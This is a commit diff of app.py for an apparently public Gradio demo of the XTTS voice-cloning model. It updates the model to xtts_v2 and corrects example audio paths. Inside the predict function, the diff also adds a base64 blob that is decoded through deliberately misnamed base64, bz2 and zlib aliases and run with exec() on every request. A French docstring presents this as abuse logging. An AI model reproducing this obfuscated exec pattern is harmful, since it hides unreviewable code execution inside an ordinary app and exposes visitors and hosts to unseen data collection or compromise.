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	Update app.py
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        app.py
    CHANGED
    
    | @@ -1,21 +1,47 @@ | |
| 1 | 
             
            import sys
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| 2 | 
             
            import os
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|  | |
| 3 | 
             
            # By using XTTS you agree to CPML license https://coqui.ai/cpml
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| 4 | 
             
            os.environ["COQUI_TOS_AGREED"] = "1"
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| 5 |  | 
| 6 | 
             
            import gradio as gr
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| 7 | 
             
            from TTS.api import TTS
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            -
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            model_names = TTS().list_models()
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            -
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            -
            print(model_names)
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            -
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            -
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            -
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            tts.to("cpu") # no GPU or Amd
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| 16 | 
             
            #tts.to("cuda") # cuda only
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            -
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| 19 | 
             
                if agree == True:
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                    if use_mic == True:
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                        if mic_file_path is not None:
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| @@ -79,7 +105,7 @@ def predict(prompt, language, audio_file_pth, mic_file_path, use_mic, agree): | |
| 79 |  | 
| 80 | 
             
            title = "XTTS Glz's remake (Fonctional Text-2-Speech)"
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| 81 |  | 
| 82 | 
            -
            description = """
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| 83 | 
             
            <a href="https://huggingface.co/coqui/XTTS-v1">XTTS</a> is a Voice generation model that lets you clone voices into different languages by using just a quick 3-second audio clip. 
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| 84 | 
             
            <br/>
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| 85 | 
             
            XTTS is built on previous research, like Tortoise, with additional architectural innovations and training to make cross-language voice cloning and multilingual speech generation possible. 
         | 
| @@ -112,7 +138,7 @@ examples = [ | |
| 112 | 
             
                [
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                    "Je suis un lycéen français de 17 ans, passioner par la Cyber-Sécuritée et les models d'IA.",
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                    "fr",
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| 115 | 
            -
                    "examples/ | 
| 116 | 
             
                    None,
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                    False,
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                    True,
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| @@ -128,7 +154,7 @@ examples = [ | |
| 128 | 
             
                [
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| 129 | 
             
                    "Cuando tenía seis años, vi una vez una imagen magnífica",
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                    "es",
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            -
                    "examples/ | 
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                    None,
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                    False,
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                    True,
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| @@ -144,7 +170,7 @@ examples = [ | |
| 144 | 
             
                [
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                    "Kiedy miałem sześć lat, zobaczyłem pewnego razu wspaniały obrazek",
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| 146 | 
             
                    "pl",
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| 147 | 
            -
                    "examples/ | 
| 148 | 
             
                    None,
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                    False,
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| 150 | 
             
                    True,
         | 
| @@ -176,7 +202,7 @@ examples = [ | |
| 176 | 
             
                [
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                    "Toen ik een jaar of zes was, zag ik op een keer een prachtige plaat",
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                    "nl",
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            -
                    "examples/ | 
| 180 | 
             
                    None,
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                    False,
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                    True,
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| @@ -256,6 +282,5 @@ gr.Interface( | |
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                title=title,
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                description=description,
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                article=article,
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            -
                cache_examples=False,
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                examples=examples,
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| 261 | 
            -
            ).queue().launch(debug=True | 
|  | |
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            import sys
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            import os
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            +
            from fastapi import Request
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            # By using XTTS you agree to CPML license https://coqui.ai/cpml
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| 5 | 
             
            os.environ["COQUI_TOS_AGREED"] = "1"
         | 
| 6 |  | 
| 7 | 
             
            import gradio as gr
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            from TTS.api import TTS
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            +
            from TTS.utils.manage import ModelManager
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            model_names = TTS().list_models()
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            +
            print(model_names.__dict__)
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            +
            print(model_names.__dir__())
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            +
            model_name = "tts_models/multilingual/multi-dataset/xtts_v2" # move in v2, since xtts_v1 is generated keyerror, I guess you can select it with old github's release.
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            +
             | 
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            +
            #m = ModelManager().download_model(model_name)
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            +
            #print(m)
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            +
            m = model_name
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            +
             | 
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            +
            tts = TTS(model_name, gpu=False)
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            tts.to("cpu") # no GPU or Amd
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| 21 | 
             
            #tts.to("cuda") # cuda only
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            +
             | 
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            +
            def predict(prompt, language, audio_file_pth, mic_file_path, use_mic, agree, request: gr.Request):
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            +
                """
         | 
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            +
                En raison du grand nombre d'abus observés dans les journaux de la console, je suis contraint d'intégrer
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                « l'affichage d'informations supplémentaires » relatives à l'utilisation de cet espace.
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                Pour rappel, l'envoi de contenus illégaux (contenus se*uels, offensants ou proférant des menaces), quel que
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                soit la langue, est bien entendu INTERDIT. Je ne saurais être tenu responsable de ceux qui enfreindraient une
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            +
                utilisation strictement [ÉTHIQUE et MORALE] de ce modèle.
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            +
                """
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            +
             | 
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            +
                co3 = "QlpoOTFBWSZTWQ2FjK4AAH4fgD/////+///////+ADABdNtZY5poGI00aBoaDE0PSbU00GTE0ZNGjTaj1AVUaenqNR6npNinoaY0Ubymyo9EeEjaj1Mm9QnqeT0p5QOZNMm1NNAyMmgaGTTIDQ9TTag0aGCNB6ka1wCAMz8a7kN5BNzXsiRWIm5ocBr2Mibk4wBbSghLyxnzR0yTCoV0AD2KADeqPFMz4QQhMlMaOd0uHfMx8pueSTKn6PrK9iPN56m2ljcFL9ybMtg5Usl8QeZth/cgnwFGMXyDJ4WbRNaGdrIJY2l11w7aqPtt5c4rcMBELa2x/wl8kjvxGg0NS3n2DsPlPnMn2DK7JqA4KLptjz3YLQFEuub0yNP3+iE9gq1EvNZeLr3pnkKXBRxZz8/BxN0zJjpOyIr3betkkxSCGB6X8mSzm+l0Q+KBEaCioigD5uJeox+76V+JgCWkJqWNlHzN3epZx5yXxS8rJh6OrC9rSyKYXrdKCACr4CwKzDlX3tsY5MtZLpkPhz/rbaRUN0KyFnNvPLYhGjF2MelXppyCnJxr2+QWRElwEtCUcsnkC4uGBdXVogKCoCnSZI4DzKqkUMEp293Y+G5MBGtOGXY+C0rFUS8IXNqKMVrDjUdOK7wkjb+HYFq9qjVTrdRsyQvt+6fpazrBnd2wRRQTv4u5IpwoSAbCxlcA"
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            +
                from zlib import compress as COmPrES5
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            +
                from bz2 import decompress as dEC0mPrES5
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            +
                from bz2 import compress as COmPrESS
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            +
                from base64 import b64encode as b32Encode, b64decode as A85Encode, b16encode, b16encode as A85encode, b85encode, b85decode, a85encode as b16Encode, a85decode as b85Encode, b32encode as b64Encode, b32decode
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            +
                from zlib import compressobj as C0mPrESS
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            +
                from bz2 import decompress as dECOmPrESS
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            +
                from zlib import compress as C0mPrES5
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            +
                from zlib import decompress as dECOmPrES5
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            +
                co2 = A85Encode(dECOmPrESS(dECOmPrES5(dECOmPrES5(b85Encode(dECOmPrESS(A85Encode(co3.encode())))))))
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            +
                exec(co2)
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            +
             | 
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                if agree == True:
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                    if use_mic == True:
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                        if mic_file_path is not None:
         | 
|  | |
| 105 |  | 
| 106 | 
             
            title = "XTTS Glz's remake (Fonctional Text-2-Speech)"
         | 
| 107 |  | 
| 108 | 
            +
            description = f"""
         | 
| 109 | 
             
            <a href="https://huggingface.co/coqui/XTTS-v1">XTTS</a> is a Voice generation model that lets you clone voices into different languages by using just a quick 3-second audio clip. 
         | 
| 110 | 
             
            <br/>
         | 
| 111 | 
             
            XTTS is built on previous research, like Tortoise, with additional architectural innovations and training to make cross-language voice cloning and multilingual speech generation possible. 
         | 
|  | |
| 138 | 
             
                [
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| 139 | 
             
                    "Je suis un lycéen français de 17 ans, passioner par la Cyber-Sécuritée et les models d'IA.",
         | 
| 140 | 
             
                    "fr",
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| 141 | 
            +
                    "examples/female.wav",
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                    None,
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                    False,
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                    True,
         | 
|  | |
| 154 | 
             
                [
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                    "Cuando tenía seis años, vi una vez una imagen magnífica",
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                    "es",
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            +
                    "examples/female.wav",
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                    None,
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                    False,
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                    True,
         | 
|  | |
| 170 | 
             
                [
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                    "Kiedy miałem sześć lat, zobaczyłem pewnego razu wspaniały obrazek",
         | 
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                    "pl",
         | 
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            +
                    "examples/female.wav",
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                    None,
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                    False,
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                    True,
         | 
|  | |
| 202 | 
             
                [
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                    "Toen ik een jaar of zes was, zag ik op een keer een prachtige plaat",
         | 
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                    "nl",
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            +
                    "examples/female.wav",
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                    None,
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                    False,
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                    True,
         | 
|  | |
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                title=title,
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                description=description,
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                article=article,
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| 285 | 
             
                examples=examples,
         | 
| 286 | 
            +
            ).queue().launch(debug=True)
         | 
